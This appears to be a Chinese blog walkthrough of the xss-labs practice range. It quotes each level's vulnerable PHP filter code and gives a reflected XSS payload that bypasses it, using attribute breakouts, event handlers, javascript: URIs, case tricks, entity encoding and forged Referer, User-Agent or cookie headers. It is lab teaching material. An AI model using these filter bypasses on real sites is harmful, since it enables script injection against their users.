反射型xss靶场练习

反射型xss危害小,这里使用的xss靶场是常用的xss靶场:xss-labs。

当我们完成弹窗后就通过该关卡,说该关卡存在xss的一个漏洞并且可以解析js代码。

第一关:
 

这里没有过滤我们输入的代码:直接将js代码放在js代码中,js代码被执行。

第二关:
 

在这里,对我们的输入的keyword值使用htmlspecialchars 函数进行了过滤,对 ‘ “ < > & 进行了实体编码。虽然可以对其进行解码,但是再不会进入到标签开始状态了,所以如果直接写<script>alert(1)</script>并不会触发。

所以,我们在h2中无法进行操作了,我们需要在input中进行操作。

解法1:闭合input标签

<input name=keyword  value="sadas"> <script>alert(123)</script>   ">

解决方法2:闭合双引号,添加一个点击事件。

<input name=keyword  value=" asd" onclick="alert(212)">

第二个方法需要用户点击输入框后才会执行,所以没有第一个方法好。

第三关:


ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";

在h2中对< >进行了实体编码,所以不考虑。只考虑Input中。观察在input中也是用了htmlspecialchars进行编码,并且在这里为 ’ (单引号)闭合。

我们去php官网查看这个函数发现:如果你要对单引号进行编码需要设置 ENT_QUOTES ,但这里并没有设置说明对单引号不起作用。

解决方法:

<input name=keyword  value='asd' onclick='alert(12)'>	

第四关:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

这里过滤了< 和 > ,所以无法闭合尖括号产生新标签。并且还使用htmlspecialchars在h2中进行过滤。所以只看Input。

解决方法:

<input name=keyword  value="asd" onclick="alert(12) ">

第五关:
 

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

如上:对关键字<script 和 < on进行了替换,并且在h2中进行了过滤,只能考虑input。

在input这里并没有过滤< > ;所以解决办法如下。

解决方法:添加a标签,在a标签中操作。

<input name=keyword  value="sda"> <a href="javascript:alert(12)">asdas</a>  ">

第六关:

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

过滤了许多,但是注意在这里并没有过滤大小写,所以我们可以大小写绕过。所以解决方法很多。

注意:在html中是不区分大小写的,但是在js中是严格区分大小写的。

<script></script> 标签可以不区分大小写。比如写为:<SCRIpt></SCRIPT>
但是在其中的内容要严格区分大小写,比如alert等。

解决方法:

asd" > <a hREf="javascript:alert(12)">asd</a> 
<input name=keyword  value="asd" > <a hREf="javascript:alert(12)">asd</a> ">

第八关:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

这里是将我们输入的内容放到a标签的href中。很明显需要使用javascript:这个伪协议。但是这里对我们的输入进行了过滤,将script替换为了scr_ipt。这里我们可以先将javascript进行实体编码,在放入。

解决方法: 首先将javascript进行实体编码:

将实体进行输入到href中:

javascript:alert(12)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(12)<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(12)">友情链接</a>

第九关:
 

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

这里的过滤和前面类似,但是在后面存在一个strpos函数,用来检测我们传的参数中是否有http://,如果有则合法,如果没有则不和法。

解决方法:

依然将javascript进行实体编码,不过还需要在后加上http://。

javascript:alert(112);//http://
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(112);//http://
注意:在这里我们使用//将http://注释掉了,虽然注释掉了但是http://还是存在,所以检测时我们的输入是合法的。<center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(112);//http://">友情链接</a></center>

第十关:
 

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';

我们查看页面源代码发现存在隐藏的from表单:其中的input选项被隐藏了。

经过对php的源码分析发现:接收了一个t_sort参数,最后传递给表单中name=t_sort的输入框,所以我们可以在这里进行操作。这里过滤了< 和> 。

解决方法:

我们可以在url中给t_sort进行赋值,改变input的属性,改变之后就可以显示出来,当我们点击输入框时它就会弹窗。

/level10.php?t_sort=aaa" type="text" onclick="alert(12)

第十一关:
 

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';

加了过滤函数htmlspecialchars的基本不用看了,我们只需要在<input name="t_ref" value="'.$str33.'" type="hidden">观察即可。

$str11=$_SERVER['HTTP_REFERER']; 它获取的是我们http请求头的referer字段。

http中referer字段的含义:

referer可以跟踪你上网的痕迹,你从哪个网站跳转到另一个网站,它就会跟踪到。上面显示的是你从哪个网站过来的。

解决方法:伪造referer字段。

当我们点击输入框后就会弹窗:

第十二关:

伪造user agent

第十三关:

伪造cookies

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/24588.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

12、架构-流量治理之服务容错

概述 容错性设计&#xff08;Design for Failure&#xff09;是微服务的另一个核心原 则&#xff0c;也是笔者书中反复强调的开发观念转变。不过&#xff0c;即使已经有一定 的心理准备&#xff0c;大多数首次将微服务架构引入实际生产系统的开发者&#xff0c; 在服务发…

web前端 麦子学院:探索前端技术的无尽奥秘

web前端 麦子学院&#xff1a;探索前端技术的无尽奥秘 在数字化浪潮汹涌的时代&#xff0c;Web前端技术作为连接用户与互联网的桥梁&#xff0c;正以其独特的魅力吸引着无数开发者。麦子学院&#xff0c;作为前端技术学习的殿堂&#xff0c;为我们提供了深入探索前端技术的宝贵…

Linux下线程的互斥与同步详解

&#x1f916;个人主页&#xff1a;晚风相伴-CSDN博客 &#x1f496;如果觉得内容对你有帮助的话&#xff0c;还请给博主一键三连&#xff08;点赞&#x1f49c;、收藏&#x1f9e1;、关注&#x1f49a;&#xff09;吧 &#x1f64f;如果内容有误或者有写的不好的地方的话&…

android:text 总为大写字母的原因

当设置某个 Button 的 text 为英文时&#xff0c;界面上显示的是该英文的大写形式&#xff08;uppercase&#xff09;。例如&#xff1a; <Buttonandroid:id"id/btn"android:layout_width"wrap_content"android:layout_height"wrap_content"…

centos7 安装 mysql5.7 LTS

centos7 安装 mysql5.7 LTS 参考&#xff1a; https://blog.csdn.net/EB_NUM/article/details/105425622 可以在运行安装程序之前导入密钥&#xff1a; sudo rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022第一步、下载MySQL 安装包&#xff1a; sudo wget h…

Python 中的内存管理机制

Python 的内存管理机制主要由两个部分组成&#xff1a;垃圾回收机制和引用计数。 垃圾回收机制主要负责检测和回收不再被使用的内存。Python 使用的是自动垃圾回收机制&#xff0c;也就是说程序员不需要手动释放内存。Python 的垃圾回收机制采用了引用计数的方法来追踪和回收不…

植物大战僵尸杂交版破解C++实现

文章目录 前言准备工作&#xff1a;基地址与偏移UI界面设计和绑定项目模板总览图生成与实现信号处理1、阳光值更新:BTN12、三种钱币值更新:BTN2-BTN43、冷却刷新:BTN54、锁定阳光&#xff1a;check15、无冷却&#xff1a;check26、OnTimer&#xff08;&#xff09;和OnClose&am…

git合并多个项目并保留提交版本记录

目录 一、场景 二、合并步骤 1.本地新建 all 目录&#xff0c;并初始化 2.在 all 中添加 a&#xff0c;b&#xff0c;c 的远程分支 3.验证是否添加成功 4.在 all 目录下&#xff0c;获取 a, b,c 的 master 分支数据 5.合并项目并移动到子目录中 6.推送 all 的 master 分支…

二开版微交易系统

下载地址&#xff1a;二开版微交易系统

集成学习概述

概述 集成学习(Ensemble learning)就是将多个机器学习模型组合起来&#xff0c;共同工作以达到优化算法的目的。具体来讲&#xff0c;集成学习可以通过多个学习器相结合&#xff0c;来获得比单一学习器更优越的泛化性能。集成学习的一般步骤为&#xff1a;1.生产一组“个体学习…

实战 | YOLOv10 自定义数据集训练实现车牌检测 (数据集+训练+预测 保姆级教程)

导读 本文主要介绍如何使用YOLOv10在自定义数据集训练实现车牌检测 (数据集训练预测 保姆级教程)。 YOLOv10简介 YOLOv10是清华大学研究人员在Ultralytics Python包的基础上&#xff0c;引入了一种新的实时目标检测方法&#xff0c;解决了YOLO以前版本在后处理和模型架构方面…

规范系统运维:系统性能监控与优化的重要性与实践

在当今这个高度信息化的时代&#xff0c;企业的IT系统运维工作显得尤为关键。其中&#xff0c;系统性能监控和优化是运维工作中不可或缺的一环。本文旨在探讨规范系统运维中系统性能监控与优化的重要性&#xff0c;并分享一些实践经验和策略。 一、系统性能监控与优化的重要性…

RAGFlow 学习笔记

RAGFlow 学习笔记 0. 引言1. RAGFlow 支持的文档格式2. 嵌入模型选择后不再允许改变3. 干预文件解析​4. RAGFlow 与其他 RAG 产品有何不同&#xff1f; ​5. RAGFlow 支持哪些语言&#xff1f; ​6. 哪些嵌入模型可以本地部署&#xff1f; ​7. 为什么RAGFlow解析文档的时间比…

自动化装箱封箱解决方案:深度探讨其优势及故障处理技巧

在当今这个快节奏、高效率的时代&#xff0c;自动化装箱封箱解决方案以其独特的优势&#xff0c;正逐渐成为物流、仓储等行业的新宠。它不仅能大幅提升作业效率&#xff0c;还能显著降低人工成本&#xff0c;减少人为错误。星派将深度探讨自动化装箱封箱技术的显著优势&#xf…

【Vue】练习-mutations的减法功能

文章目录 一、需求二、完整代码 一、需求 步骤 二、完整代码 Son1.vue <template><div class"box"><h2>Son1 子组件</h2>从vuex中获取的值: <label>{{ $store.state.count }}</label><br><button click"handleA…

C# 界面控件中英切换

编程软件:VS 2015 需求:界面有两个按钮&#xff0c;点击可以将界面上所有控件进行不同语言的切换。 一共两种方案&#xff0c;个人认为第二种方案使用范围更广&#xff08;这里以中英文切换为例&#xff09;。 方案一:如图所示&#xff0c;建立两个资源文件 将所需控件的中英…

海思SS928(SD3403)部署YOLOv5-YOLOv7步骤详解

1. YOLO模型资料 本文档内容以yolov5-7.0工程、yolov5s模型为例。 a. 模型结构 详细的模型结构可以利用netron工具打开.pt或.onnx模型查看。 b. 模型参数即验证结果 其中,YOLOv5n、YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x为五种类型的预训练模型,其包含的检测类别相…

利用Pandas进行数据清洗与过滤:Python实战指南

利用Pandas进行数据清洗与过滤&#xff1a;Python实战指南 作为一个Python爱好者和数据分析从业者&#xff0c;我一直在探索如何利用Python来更高效地处理和分析数据。Python语言以其简单易学、功能强大的特点&#xff0c;成为了数据分析领域的宠儿。本文将分享一些实用的Pyth…

2024 cicsn ezbuf

文章目录 参考protobuf逆向学习复原结构思路exp 参考 https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf protobuf 当时压根不知道用了protobuf这个玩意&#xff0c;提取工具也没提取出来&#xff0c;还是做题做太少了&#xff0c;很多关键性的结构都没看出来是pro…

android 异屏同显---学习笔记

实现 Android 异屏同显(多个屏幕显示同样的画面)可以通过多种方法来完成,具体实现方式会根据你的需求和设备的支持情况有所不同。以下是几种常见的方法: 方法 1:使用 Cast SDK 如果你想要将内容投屏到智能电视或其他支持 Cast 的设备上,可以使用 Google Cast SDK。 主…